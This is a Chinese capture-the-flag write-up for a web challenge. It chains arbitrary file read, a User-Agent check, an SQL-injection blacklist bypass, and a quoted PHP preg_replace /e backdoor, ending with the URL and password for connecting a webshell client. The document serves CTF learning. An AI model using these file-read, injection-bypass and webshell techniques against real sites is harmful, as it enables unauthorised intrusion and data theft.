首先看到题目
我第一下看到了QQ和一串微信号以为是可用信息,结果花了点时间去解码,结果啥可用信息都是都没有,看到首页和尾页,点击尾页可以看到url发生了变化,
随意输入一个id值
可以看到,有一个so.php,我们后面会用到这个php文件
然后往下继续看,可以看到一个留言板,随意输入,观察url
有一个确认提交按钮,和下方有一串提示,哈哈作者也不会 xss,排除了这题是xss的坑,我们点击确认提交
出现了变化,url变成了这样,到这里我们还是没有什么思路,返回我们继续收集可用信息,看到如下信息
点击试试,看看有啥新大陆发现,
果然新大陆就在这里,看到url,这里我们可以轻松联想到任意文件读取漏洞,于是我们构造如下payload,可以看到出现了一大串信息,但是发信这些信息不是我们想要的信息
于是看到file前面有一个about.php,于是就试一下看看能不能读取到这个文件的有用信息
结果有了,然后我们进行代码格式化
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}
发现有一个config.php和loginxlcteam,于是我们试试看这个loginxlcteam,发现这是一个后台登录的界面
因为之前不是提到只有本公司开发的浏览器才能用嘛,
于是我们就是试一下读取一下so.php的内容,
我们好像又发现了新大陆,对代码格式化一下
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
通过代码发现当'HTTP_USER_AGENT']=="Xlcteam Browser"
才会执行下一步操作。根据so.php的源代码中我们还发现了,防止sql注入的文件antiinject.php
,然后基本已经可以确定是sql注入了,于是我们就读取一下antiinject.php
的源码看看
<?php
function antiinject($content) {
$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
$info = strtolower($content);
for ($i = 0;$i <= count($keyword);$i++) {
$info = str_replace($keyword[$i], '', $info);
}
return $info;
}
?>
发现它过滤了很多的字符,但只是替换成空了,我们有很多的绕过方法可以去绕过他,可以大写双写,我看前几个博主都是双写绕过,到这里的话,我引用一下大佬写的
fuckruntu
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>
但是就是很奇怪的是我绕过了浏览器啥都不给我回显,有毒emmm~~
用了前几个大佬的方法也是不给回显,cao 那我 只能怪到电脑身上了 破电脑!!!
到这里可以直接用蚁剑,直接拿到管理后台
url : http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
pass : wtf
还可以
然后用print_r函数查看一下目录下有哪些文件
这里最后一串是乱码,在浏览器里设置一下文字编码格式为unicode即可
,最后访问可得flag,谷歌的话可以用charset这个插件来编码啦
总体来说还是学到了挺多东西吧emm,加油鸭~